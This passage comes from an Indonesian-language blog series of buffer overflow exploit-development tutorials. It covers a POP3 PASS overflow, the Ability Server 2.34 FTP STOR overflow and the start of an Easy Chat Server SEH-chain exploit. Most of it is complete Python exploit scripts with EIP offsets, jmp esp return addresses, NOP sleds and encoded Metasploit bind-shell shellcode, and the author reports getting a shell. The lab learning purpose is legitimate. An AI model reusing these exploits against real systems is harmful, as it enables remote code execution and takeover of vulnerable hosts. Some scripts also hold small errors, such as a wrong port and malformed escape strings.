command += "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
fuzz(command)
Dan ternyata hasil nya masih ada keanehan, berarti kita harus uji coba dengan menghapus karakter dari hasil generate ./a.out.

Sekarang kita coba hapus karakter "\x00 \x0a \x0d", kemudian jalankan script tersebut. Dan akhirnya karakter yang muncul sudah teratur, seperti pada gambar berikut ini:

Dan ternyata EIP berhasil kita ubah value nya.

Kemudian kita cari alamat memory yang berisi "jmp esp" di file shell32.dll, seperti pada gambar berikut:

Sekarang saat nya membuat payload shell nya dan jangan lupa pastikan payload shell kita tidak terdapat karakter yang di larang tersebut.

Langkah keenam:
Kita buat payload shell di Kali Linux dengan menggunakan perintah berikut:
msfpayload windows/shell_bind_tcp EXITFUNC=seh R | msfencode -a x86 -b "\x00\x0a\x0d" -t c
Kemudian edit script kita, untuk menambahkan script payload shell tersebut, seperti berikut:
#!/usr/bin/python
import socket

host = '10.7.9.246'
port = 110


def fuzz(payload):
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((host, port))
      s.send('USER cool\r\n')
      print s.recv(1024)
      s.send('PASS ' + payload + '\r\n')
      print s.recv(1024)
      s.send('QUIT\r\n')
      print s.recv(1024)
      s.shutdown
      s.close

offsets = {
      'EIP':2606,
      'ESP':2610
}

command = "A" * (offsets['EIP'])
command += "\x4b\x77\xa6\x7c" # jmp esp shell32.dll
command += "\x90" * 20 # nop sleed 20x
command += ("\xd9\xcd\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x56\xba\x74\xc7\x99"
"\x98\x83\xc0\x04\x31\x50\x14\x03\x50\x60\x25\x6c\x64\x60\x20"
"\x8f\x95\x70\x53\x19\x70\x41\x41\x7d\xf0\xf3\x55\xf5\x54\xff"
"\x1e\x5b\x4d\x74\x52\x74\x62\x3d\xd9\xa2\x4d\xbe\xef\x6a\x01"
"\x7c\x71\x17\x58\x50\x51\x26\x93\xa5\x90\x6f\xce\x45\xc0\x38"
"\x84\xf7\xf5\x4d\xd8\xcb\xf4\x81\x56\x73\x8f\xa4\xa9\x07\x25"
"\xa6\xf9\xb7\x32\xe0\xe1\xbc\x1d\xd1\x10\x11\x7e\x2d\x5a\x1e"
"\xb5\xc5\x5d\xf6\x87\x26\x6c\x36\x4b\x19\x40\xbb\x95\x5d\x67"
"\x23\xe0\x95\x9b\xde\xf3\x6d\xe1\x04\x71\x70\x41\xcf\x21\x50"
"\x73\x1c\xb7\x13\x7f\xe9\xb3\x7c\x9c\xec\x10\xf7\x98\x65\x97"
"\xd8\x28\x3d\xbc\xfc\x71\xe6\xdd\xa5\xdf\x49\xe1\xb6\xb8\x36"
"\x47\xbc\x2b\x23\xf1\x9f\x23\x80\xcc\x1f\xb4\x8e\x47\x53\x86"
"\x11\xfc\xfb\xaa\xda\xda\xfc\xcd\xf1\x9b\x93\x33\xf9\xdb\xba"
"\xf7\xad\x8b\xd4\xde\xcd\x47\x25\xde\x18\xc7\x75\x70\xf2\xa8"
"\x25\x30\xa2\x40\x2c\xbf\x9d\x71\x4f\x15\xa8\xb5\x81\x4d\xf9"
"\x51\xe0\x71\xec\xfd\x6d\x97\x64\xee\x3b\x0f\x10\xcc\x1f\x98"
"\x87\x2f\x4a\xb4\x10\xb8\xc2\xd2\xa6\xc7\xd2\xf0\x85\x64\x7a"
"\x93\x5d\x67\xbf\x82\x62\xa2\x97\xcd\x5b\x25\x6d\xa0\x2e\xd7"
"\x72\xe9\xd8\x74\xe0\x76\x18\xf2\x19\x21\x4f\x53\xef\x38\x05"
"\x49\x56\x93\x3b\x90\x0e\xdc\xff\x4f\xf3\xe3\xfe\x02\x4f\xc0"
"\x10\xdb\x50\x4c\x44\xb3\x06\x1a\x32\x75\xf1\xec\xec\x2f\xae"
"\xa6\x78\xa9\x9c\x78\xfe\xb6\xc8\x0e\x1e\x06\xa5\x56\x21\xa7"
"\x21\x5f\x5a\xd5\xd1\xa0\xb1\x5d\xef\x51\x0b\x48\x78\xc8\xfe"
"\x31\xe4\xeb\xd5\x76\x11\x68\xdf\x06\xe6\x70\xaa\x03\xa2\x36"
"\x47\x7e\xbb\xd2\x67\x2d\xbc\xf6")
fuzz(command)
Selanjutnya kita perlu uji coba script tersebut, jika memang aplikasi tidak crash, harus nya kita sudah mendapatkan shell nya, dan ternyata kita berhasil mendapatkan shellnya, berikut uji coba nya:


Note:
Sebagai latihan, bisa mencoba dengan menggunakan OS Windows yang lain nya, untuk mengetahui perbedaan nya seperti apa ;)

Senin, 07 April 2014

Experimen BoF Ke-6

Hari ini kita akan belajar untuk memahami cara kerja dari buffer overflow dengan menggunakan software yang ada di pasaran, tapi tentu nya versi software tersebut sudah lama dan sudah terdapat public exploit nya juga, di sini kita akan mencoba membuat exploit versi sendiri, semoga bisa di ikuti ya hehe ;)
Hal-hal yang perlu di persiapkan adalah :
- 2 OS yang berisi masing-masing VM Kali Linux ( sebagai attacker)  dan VM Windows 7 ( sebagai korban )
- Immunity Debugger
- aplikasi Ability Server.exe v2.34, yg bisa di download di sini
- contoh penampakan software Ability Server.exe v2.34


- sedikit pemahaman tentang python di perlukan :D
- pastikan sudah membuat user dan password dummy untuk uji coba ini, berikut ini penampakan nya


Langkah pertama:
Kita mencoba untuk mengirimkan suatu string "A" sebanyak-banyaknya sampai aplikasi tersebut mengalami crash, dalam contoh aplikasi ini saya akan mengirimkan sebanyak 2000.
Script yang di gunakan seperti berikut:

#!/usr/bin/python
import socket

host = "10.7.9.248"
port = 21

# create an array of buffers, from 2 to 2000, with inc of 20
buffer = ["A"]
counter = 20

while len(buffer) <= 30 :
      buffer.append("A" * counter)
      counter = counter + 100

# define the ftp commands to be fuzzed
commands = ["MKD","CWD","STOR"]

# run the fuzzing loop
for command in commands:
      for string in buffer:
            print "Sending command " + command + " with " + str(len(string)) + " bytes"
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            connect = s.connect((host, port))
            s.recv(1024)
            s.send('USER ftp\r\n') # login procedure
            s.recv(1024)
            s.send('PASS ftp\r\n')
            s.recv(1024)
            s.send(command + ' ' + string + '\r\n') # evil buffer
            s.recv(1024)
            s.send('QUIT\r\n')
            s.close()

Dan ternyata aplikasi mengalami crash, seperti pada gambar di bawah ini.


Langkah kedua:
Setelah aplikasi mengalami crash di string "A" sebanyak 2000, sekarang kita akan membuat pattern string sebanyak 2000 juga, seperti pada gambar di bawah ini :


Langkah ketiga:
Edit script sebelumnya dengan menambahkan string dari langkah kedua, seperti berikut ini:
#!/usr/bin/python
import socket

host = '10.7.9.248'
port = 21

def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(payload)
        s.shutdown
        s.close

print "Attacking {0}:{1} ...".format(host, port)
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
command = "USER ftp\r\n"
command += "PASS ftp\r\n"
command += "STOR " + buffer + "\r\n"
print "command {0} chars ...".format(len(command))
fuzz(command)
Perhatikan value dari alamat memory ESP dan EIP yang keluar di immunity debugger, seperti pada gambar di bawah ini:

Langkah keempat:
Sekarang kita perlu mengetahui posisi ESP dan EIP berada di mana dengan menggunakan perintah seperti pada gambar di bawah ini:


Langkah kelima:
Saat nya kita coba lagi dengan lebih detil jumlah string yang harus di kirim kan sesuai dengan hasil di atas ;) Kemudian kita belajar untuk mengetahui apa saja karakter yang di larang, agar saat membuat payload shell tidak menjadi masalah ;)
Untuk buat script generate karakternya, bisa cek di sini

Edit script sebelumnya dengan menambahkan detil informasi yang kita dapat dari proses sebelumnya, seperti berikut:
#!/usr/bin/python
import socket

host = '10.7.9.248'
port = 21

def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(payload)
        s.shutdown
        s.close


offsets = {
        'EIP':969,
        'ESP':989
}

print "Attacking {0}:{1} ...".format(host, port)
buffer = "A" * (offsets["EIP"])
buffer += "B" * 4 # berikut nya di isi nilai jmp esp di user32.dll
buffer += "C" * 16 # di isi 989 - 969 - 4 = 16
buffer += "\90" * 16
buffer += "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
buffer += "D" * 1050
command = "USER ftp\r\n"
command += "PASS ftp\r\n"
command += "STOR " + buffer + "\r\n"
print "command {0} chars ...".format(len(command))
fuzz(command)
Dan ternyata hasil nya masih ada keanehan, berarti kita harus uji coba dengan menghapus karakter dari hasil generate ./a.out.

Sekarang kita coba hapus karakter "\x00 \x09 \x0a \x0d", kemudian jalankan script tersebut. Dan akhirnya karakter yang muncul sudah teratur, seperti pada gambar berikut ini:

Dan ternyata EIP berhasil kita ubah value nya.

Kemudian kita cari alamat memory yang berisi "jmp esp" di file user32.dll, seperti pada gambar berikut:

Sekarang saat nya membuat payload shell nya dan jangan lupa pastikan payload shell kita tidak terdapat karakter yang di larang tersebut.

Langkah keenam:
Kita buat payload shell di Kali Linux dengan menggunakan perintah berikut:
msfpayload windows/shell_bind_tcp R | msfencode -a x86 -b "\x00 \x09 \x0a \x0d" -t c
Kemudian edit script kita, untuk menambahkan script payload shell tersebut, seperti berikut:
#!/usr/bin/python
import socket

host = '10.7.9.248'
port = 22


def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(payload)
        s.shutdown
        s.close

offsets = {
        'EIP':969,
        'ESP':989
}
print "Attacking {0}:{1} ...".format(host, port)
buffer = "A" * (offsets["EIP"])
buffer += "\x53\x6d\x9c\x76"
buffer += "C" * 16 # di isi 989 - 969 - 4 = 16
buffer += "\x90" * 16 # nop sleed 16x
# 368 bytes
buffer += ("\xdb\xcd\xba\x43\x40\x2a\x6a\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"
"\x56\x83\xc6\x04\x31\x56\x14\x03\x56\x57\xa2\xdf\x96\xbf\xab"
"\x20\x67\x3f\xcc\xa9\x82\x0e\xde\xce\xc7\x22\xee\x85\x8a\xce"
"\x85\xc8\x3e\x45\xeb\xc4\x31\xee\x46\x33\x7f\xef\x66\xfb\xd3"
"\x33\xe8\x87\x29\x67\xca\xb6\xe1\x7a\x0b\xfe\x1c\x74\x59\x57"
"\x6a\x26\x4e\xdc\x2e\xfa\x6f\x32\x25\x42\x08\x37\xfa\x36\xa2"
"\x36\x2b\xe6\xb9\x71\xd3\x8d\xe6\xa1\xe2\x42\xf5\x9e\xad\xef"
"\xce\x55\x2c\x39\x1f\x95\x1e\x05\xcc\xa8\xae\x88\x0c\xec\x09"
"\x72\x7b\x06\x6a\x0f\x7c\xdd\x10\xcb\x09\xc0\xb3\x98\xaa\x20"
"\x45\x4d\x2c\xa2\x49\x3a\x3a\xec\x4d\xbd\xef\x86\x6a\x36\x0e"
"\x49\xfb\x0c\x35\x4d\xa7\xd7\x54\xd4\x0d\xb6\x69\x06\xe9\x67"
"\xcc\x4c\x18\x7c\x76\x0f\x75\xb1\x45\xb0\x85\xdd\xde\xc3\xb7"
"\x42\x75\x4c\xf4\x0b\x53\x8b\xfb\x26\x23\x03\x02\xc8\x54\x0d"
"\xc1\x9c\x04\x25\xe0\x9c\xce\xb5\x0d\x49\x40\xe6\xa1\x21\x21"
"\x56\x02\x91\xc9\xbc\x8d\xce\xea\xbe\x47\x79\x2d\x71\xb3\x2a"
"\xda\x70\x43\xdd\x46\xfc\xa5\xb7\x66\xa8\x7e\x2f\x45\x8f\xb6"
"\xc8\xb6\xe5\xea\x41\x21\xb1\xe4\x55\x4e\x42\x23\xf6\xe3\xea"
"\xa4\x8c\xef\x2e\xd4\x93\x25\x07\x9f\xac\xae\xdd\xf1\x7f\x4e"
"\xe1\xdb\x17\xf3\x70\x80\xe7\x7a\x69\x1f\xb0\x2b\x5f\x56\x54"
"\xc6\xc6\xc0\x4a\x1b\x9e\x2b\xce\xc0\x63\xb5\xcf\x85\xd8\x91"
"\xdf\x53\xe0\x9d\x8b\x0b\xb7\x4b\x65\xea\x61\x3a\xdf\xa4\xde"
"\x94\xb7\x31\x2d\x27\xc1\x3d\x78\xd1\x2d\x8f\xd5\xa4\x52\x20"
"\xb2\x20\x2b\x5c\x22\xce\xe6\xe4\x52\x85\xaa\x4d\xfb\x40\x3f"
"\xcc\x66\x73\xea\x13\x9f\xf0\x1e\xec\x64\xe8\x6b\xe9\x21\xae"
"\x80\x83\x3a\x5b\xa6\x30\x3a\x4e")
buffer += "xcc" * 656
command = "USER ftp\r\n"
command += "PASS ftp\r\n"
command += "STOR " + buffer + "\r\n"
print "command {0} chars ...".format(len(command))
fuzz(command)
Selanjutnya kita perlu uji coba script tersebut, jika memang aplikasi tidak crash, harus nya kita sudah mendapatkan shell nya, dan ternyata kita berhasil mendapatkan shellnya, berikut uji coba nya:


Note:
Sebagai latihan, bisa mencoba dengan menggunakan OS Windows yang lain nya, untuk mengetahui perbedaan nya seperti apa ;)

Jumat, 04 April 2014

Experimen BoF Ke-5

Hari ini kita akan belajar untuk memahami cara kerja dari buffer overflow dengan menggunakan software yang ada di pasaran, tapi tentu nya versi software tersebut sudah lama dan sudah terdapat public exploit nya juga, di sini kita akan mencoba membuat exploit versi sendiri, tapi ada sedikit perbedaan dengan experimen kita sebelumnya, buffer overflow yang sekarang menggunakan teknik SEH chain, jadi agak sedikit lebih rumit, semoga bisa di ikuti ya hehe ;)
Hal-hal yang perlu di persiapkan adalah :
- 2 OS yang berisi masing-masing VM Kali Linux ( sebagai attacker)  dan VM Windows 7 ( sebagai korban )
- Immunity Debugger
- aplikasi Easy_Chat_Server_2.2.exe, yg bisa di download di sini ( 1 2 3)
- script pvefindaddr.py, yg bisa di download di sini
Letakan script ini di folder pyCommands di dalam hasil instalasi Immunity Debuger
- contoh penampakan software Easy_Chat_Server_2.2


- sedikit pemahaman tentang python di perlukan :D

Langkah pertama:
Kita mencoba untuk mengirimkan suatu string "A" sebanyak-banyaknya sampai aplikasi tersebut mengalami crash, dalam contoh aplikasi ini saya akan mengirimkan sebanyak 2000.
Script yang di gunakan seperti berikut:

#!/usr/bin/python
import socket

host = '10.7.9.248'
port = 81

def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(payload)
        s.shutdown
        s.close

print "Attacking {0}:{1} ...".format(host, port)
command = "GET /chat.ghp?username="
command += "A" * 2000
command += "&password=test&room=1&sex=2 HTTP/1.1\r\n\r\n"
print "command {0} chars ...".format(len(command))
fuzz(command)

Dan ternyata aplikasi mengalami crash, tapi tidak seperti eksperimen kita sebelum nya :(

Jadi untuk melihat hasil crash nya, ada perlakuan khusus untuk kasus ini. Dari Immunity Debugger pilih menu View > SEH chain, seperti pada gambar di bawah ini

Kemudian klik kanan di value "41414141", pilih Follow address in stack, maka baru bisa terlihat crash nya, seperti pada gambar di bawah ini.


Langkah kedua:
Setelah aplikasi mengalami crash di string "A" sebanyak 2000, sekarang kita akan membuat pattern string sebanyak 2000 juga, seperti pada gambar di bawah ini :


Langkah ketiga:
Edit script sebelumnya dengan menambahkan string dari langkah kedua, seperti berikut ini:
#!/usr/bin/python
import socket

host = '10.7.9.248'
port = 81

def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(payload)
        s.shutdown
        s.close

print "Attacking {0}:{1} ...".format(host, port)
command = "GET /chat.ghp?username="
command += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
command += "&password=test&room=1&sex=2 HTTP/1.1\r\n\r\n"
print "command {0} chars ...".format(len(command))
fuzz(command)
Di sini kita fokus di bagian "Pointer to next SEH record " dan "SE handler", seperti pada gambar di bawah ini:

Langkah keempat:
Sekarang kita perlu mengetahui posisi "Pointer to next SEH record " dan "SE handler" berada di mana dengan menggunakan perintah seperti pada gambar di bawah ini:


Langkah kelima:
Saat nya kita coba lagi dengan lebih detil jumlah string yang harus di kirim kan sesuai dengan hasil di atas ;) Kemudian kita belajar untuk mengetahui apa saja karakter yang di larang, agar saat membuat payload shell tidak menjadi masalah ;)
Untuk buat script generate karakternya, bisa cek di sini

Edit script sebelumnya dengan menambahkan detil informasi yang kita dapat dari proses sebelumnya, seperti berikut:
#!/usr/bin/python
import socket

host = '10.7.9.248'
port = 81

def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(payload)
        s.shutdown
        s.close


offsets = {
        'NXT':216,# pointer to next seh record
        'SEh':220 # se handler
}

print "Attacking {0}:{1} ...".format(host, port)
